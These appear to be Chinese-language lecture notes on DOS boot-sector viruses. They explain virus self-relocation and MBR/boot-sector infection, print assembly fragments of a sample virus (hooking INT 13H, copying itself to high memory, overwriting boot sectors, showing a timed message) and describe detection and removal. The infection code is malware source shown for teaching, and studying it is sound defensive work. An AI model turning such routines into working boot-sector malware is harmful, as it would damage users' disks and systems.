四、DOS病毒之引导型病毒
4.1 病毒的重定位
病毒重定位的原因
- 正常源程序在编译的时候,变量在内存中的位置都被计算好了,程序装入内存时,系统不会为它重定位。
- 病毒感染HOST后,由于其依附到不同HOST程序中的位置不尽相同,病毒随HOST载入内存后,病毒中的各个变量在内存中的位置也会随之发生变化。
- 病毒为了能正常使用其变量,必须重新定位。
病毒重定位的方法
- 借助Call指令实现
- 当执行Call指令时,它会先将返回地址(紧接着call语句之后的那条语句在内存中的真正地址)压入堆栈,然后将IP置为Call语句所指向的地址。
- 在被调子程序遇到ret指令后,就会将堆栈顶端的地址弹出来,并将其置入IP中,实现返回。
- 病毒的重定位就是利用call指令对IP的操作来实现的。
- 实现过程
VStart:
...
call delta
delta:
pop ebp
sub ebp, offset delta-VStart
lea eax, [offset Var2+ebp]
4.2 引导型病毒
引导型病毒概念
- 指专门感染主引导扇区和引导扇区的计算机病毒。感染主引导区的病毒称作MBR病毒;感染引导区的病毒称作BR病毒。
引导型病毒的基本原理
- 通过感染主引导扇区和引导扇区,在启动系统时即获取控制权。
- 引导型病毒在感染主引导扇区/引导扇区时,将被感染扇区的“内容”写入其他扇区,并在FAT中标示该扇区所在簇为坏簇。
- 为能在机器运行过程中能实施感染,通过修改内存大小,截取高端内存,实现常驻内存。

引导型病毒的触发与INT 13H
- 引导型病毒的触发
- 引导型病毒在获取控制权后,修改INT 13H入口地址使其指向病毒中断服务程序,处于可激活态
- 当系统/用户进行磁盘读写时调用INT 13H,激活病毒。
- 病毒别激活后,可根据感染条件实施感染、根据爆发破坏条件破坏系统并表现自己。
引导型病毒样例分析
修改0:413h(减小可用内存)
mov ax, ds:[413h]
dec ax
dec ax
mov ds:[413h], ax
计算高端内存地址
mov cl, 6 ;通过移位得到段地址
shl ax, cl
mov es, ax
搬移病毒至高端内存
mov si, sp
mov cx, VirusSize
cld
rep movsb
跳至端内存
push ax
mov di, offset @@HighAddr
push di
retf
修改INT 13H中断向量
xchg ds:[13h*4+2], ax
mov cs:[OldInt13Seg], ax
mov ax, offset @@NewInt13
xchg ds:[13h*4],ax
mov cs:[OldInt13Off], ax
新INT13H
cmp dx, 0000h
jnz short @@JmpOldInt13
cmp ah, 02h //读磁盘扇区
jnz short @@JmpOldInt13
cmp cx, 0001h //主引导扇区
jnz short @@jmpOldInt13
call @@OptDisk //条件: 读软盘主引导扇区,则感染
感染
@@OptDisk: ;传染dl表示的磁盘(dl-0 A: 80:C)
pusha
push ds
push es ;保存段址与通用寄存器
push cs
pop es
push cs
pop ds ;使ds=es=cs
mov bx,OFF OldBootSpace
mov ax,0201h
mov cx,0001h
mov dh,00h
call @@CallInt13 ;读原引导扇区
jc short @@OptOver
感染
mov di,bx
cmp ds:[di.VirusFlag], ’V’ ;判断是否已经有病毒?
jz short @@OptOver ;若有,则退出
cmp dl,00h
jz short @@IsOptFlopyDisk
@@IsOptHardDisk:
mov cx,0002h ;若是硬盘,保存在0面0道2扇区
jmp short @@SaveOldBoot
@@IsOptFlopyDisk:
mov cx,79*100h+17 ;若是软盘,保存在0面79道17扇区
感染@@SaveOldBoot: mov ax, 0301h mov dh, 0hcall @@CallInt13 ;保存原引导扇区jc short @@OptOvermov si, OFF @@Startcldmovswmovsb ;修改原扇区首指令(Jmp near 3字节)
感染 mov di, OFF @@Begin+200h mov si, OFF @@Begin mov cx, OFF @@End-OFF @@Begin cld rep movsb ;修改原引导扇区指令cx字节 mov ax, 0301h mov cx, 0001h mov dh, 00h call @@CallInt13 ;写回已经被修改了的引导程序@@OptOver: ;退出传染 pop es pop ds ;恢复段址与通用寄存器 popa
从软盘引导 call @@OptDisk ;调用传染模块 pop dx @@ReadOldFlopyBoot: ;读出原软盘引导程序 mov ax,0201h mov cx,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中 mov dh,00h call @@CallInt13 jc short @@ReadOldFlopyBoot ;失败,继续读直到成功
从软盘引导 @@ExecOldBoot: cmp es:[bx.Flags],0aa55h jnz @@ExecOldBoot mov ah,02h int 1ah ;取系统时间 cmp cx,22*100h+30 ;是否大于22:30分 jb @@ExitDisp ;未到,则不显示 lea si,VirusMsg
从软盘引导 @@DispMsg: mov al,cs:[si] inc si mov ah,0eh int 10h ;显示al中的字符 or al,al jnz @@DispMsg xor ax,ax int 16h ;键盘输入@@ExitDisp:mov cx,0001h ;恢复cx初值push espush bxretf ;去执行原引导程序
从硬盘引导@@ReadOldHardBoot:mov ax,0201h mov cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中mov dh,00h call @@CallInt13 ;读出jc short @@ReadOldHardBoot ;失败,继续读直到成功jmp short @@ExecOldBoot ;去执行原引导程序
4.3 示例病毒感染的清除
通过备份主引导扇区进行还原
通过恢复中断向量表实现对病毒的灭活
引导型病毒的特点与清除
- 驻留内存
一般采用修改0:413地址内的值的方法,但不够隐蔽。
-
隐形技术:当病毒驻留时,读写引导区均对原引导区操作,好像没有病毒一样
-
机密技术:一般加密分区表,使无毒盘启动时无法读取硬盘
-
优点:
隐蔽性强、兼容性强
- 缺点:
传染速度慢,一定要用带毒软盘启动才能传到硬盘
杀毒容易,只需改写引导区即可。
引导型病毒的判断与清除
- 通过查看JMP指令判断是否正常
- 通过检查引导扇区和内存容量判断是否有病毒驻留
- 对主引导病毒,不能通过Format清除,可以用FDisk/MBR命令修复,但可能会带来危险
- 最好的办法是对主引导扇区进行备份。